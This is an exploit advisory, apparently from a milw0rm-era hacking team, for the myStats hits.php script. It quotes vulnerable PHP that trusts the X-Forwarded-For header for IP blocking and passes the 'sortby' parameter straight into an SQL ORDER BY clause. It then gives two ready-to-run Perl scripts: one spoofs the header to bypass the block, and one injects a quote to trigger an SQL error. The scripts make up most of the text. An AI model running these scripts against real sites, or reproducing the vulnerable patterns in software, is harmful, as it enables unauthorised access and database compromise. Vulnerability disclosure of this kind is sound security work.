mystats-multi.txt

`# myStats (hits.php) Multiple Remote Vulnerabilities Exploit  
# url: http://mywebland.com/  
#  
# Author: JosS  
# mail: sys-project[at]hotmail[dot]com  
# site: http://spanish-hackers.com  
# team: Spanish Hackers Team - [SHT]  
#  
# This was written for educational purpose. Use it at your own risk.  
# Author will be not responsible for any damage.  
#  
# Greetz To: All Hackers and milw0rm website  
  
---------------------  
Break System Block IP  
---------------------  
  
<<hits.php>>  
  
7: if (@getenv("HTTP_X_FORWARDED_FOR"))   
  
{ $u_ip = @getenv("HTTP_X_FORWARDED_FOR"); }   
  
else { $u_ip = @getenv("REMOTE_ADDR"); }   
  
  
  
if ($u_ip == BLOCK_IP)   
  
{ return 1;   
  
13: exit; }   
  
<<config.php>>  
  
11: define("BLOCK_IP", "127.0.0.1");   
  
<<exploit.pl>>  
  
use HTTP::Request;  
use LWP::UserAgent;  
  
my $web="http://localhost/hits.php";  
my $ua=LWP::UserAgent->new();  
$ua->default_header('X-Forwarded-For' => "127.1.1.1");  
my $respuesta=HTTP::Request->new(GET=>$web);  
$ua->timeout(30);  
my $response=$ua->request($respuesta);  
$contenido=$response->content;  
if ($response->is_success)  
{  
open(FILE,">>results.txt");  
print FILE "$contenido\n";  
close(FILE);  
print "\n[+] Exploit Succesful!\n\n";  
}  
else  
{  
print "\n[-] Exploit Failed!\n\n";  
}  
  
<<proof of concept>>  
  
$ua->default_header('X-Forwarded-For' => "127.1.1.1"); --> BREAK BLOCK_IP  
  
-------------  
SQL Injection  
-------------  
  
<<hits.php>>  
  
63: if (isset($_GET['sortby']))  
  
{$sortby = $_GET['sortby'];}  
  
else  
  
{ $sortby = 'timestamp' ;}  
  
  
$sql = "SELECT * FROM " . LOG_TBL . " ORDER BY " . $sortby." DESC LIMIT 0, ". DISPLAY_LOG_NO ;  
  
69: $querylog = mysql_query($sql) or die("Line 117 Cannot query the database.<br>" . mysql_error());  
  
<<exploit.pl>>  
  
use HTTP::Request;  
use LWP::UserAgent;  
  
my $web="http://localhost/hits.php?sortby=1'";  
my $ua=LWP::UserAgent->new();  
my $respuesta=HTTP::Request->new(GET=>$web);  
$ua->timeout(30);  
my $response=$ua->request($respuesta);  
$contenido=$response->content;  
if ($response->is_success)  
{  
if($contenido =~ /You have an error in your SQL syntax;/)  
{  
print "\n[+] Exploit Succesful!\n";  
print "\n[+] Content:\n";  
print "$contenido\n\n";  
}  
}  
else  
{  
print "\n[-] Exploit Failed!\n\n";  
}  
  
`